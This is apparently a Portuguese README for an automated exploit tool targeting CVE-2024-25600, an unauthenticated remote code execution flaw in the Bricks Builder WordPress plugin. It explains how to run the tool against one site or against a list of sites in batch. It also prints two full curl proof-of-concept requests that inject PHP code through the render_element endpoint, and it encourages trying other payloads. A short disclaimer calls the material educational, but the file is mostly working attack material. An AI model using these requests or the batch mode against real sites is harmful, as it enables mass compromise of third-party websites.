kasoomi0228/cve-2024-25600-bricks-builder-wordpressFerramenta automatizada de exploit para CVE-2024-25600, permitindo execução remota de código não autenticada em sites WordPress usando o plugin Bricks Builder. Suporta modos interativo e em lote para execução de comandos.
Esta ferramenta 🛠️ foi projetada para explorar a vulnerabilidade CVE-2024-25600 🕳️ encontrada no plugin Bricks Builder para WordPress. A vulnerabilidade permite a execução remota de código não autenticada em sites afetados 💻. A ferramenta automatiza o processo de exploração recuperando nonces e enviando requisições especialmente elaboradas para executar comandos arbitrários.
git clone.pip install -r requirements.txt.python exploit.py -u <URL> para iniciar o modo interativo.python exploit.py -l <caminho_do_arquivo> para escanear e explorar os sites listados.A PoC base fornecida pela divulgação é a seguinte:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
Atualização: Segunda PoC (mais confiável)
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "carousel",
"settings": {
"type": "posts",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
É possível que cargas úteis adicionais possam produzir melhores resultados. Se meu exploit ou prova de conceito não funcionar para você, incentivo a experimentar cargas úteis alternativas para encontrar uma solução mais eficaz.
Substitua [HOST] pelo site alvo e [NONCE] pelo valor do nonce recuperado do site.
Para mais informações sobre a vulnerabilidade CVE-2024-25600, consulte a divulgação detalhada em Snicco.io.
As informações fornecidas neste README são apenas para fins educacionais. Invadir sites ou redes sem autorização é ilegal e antiético. 🚫
Créditos aos pesquisadores de segurança que descobriram e reportaram esta vulnerabilidade, fornecendo à comunidade informações e ferramentas para ajudar a proteger suas aplicações web.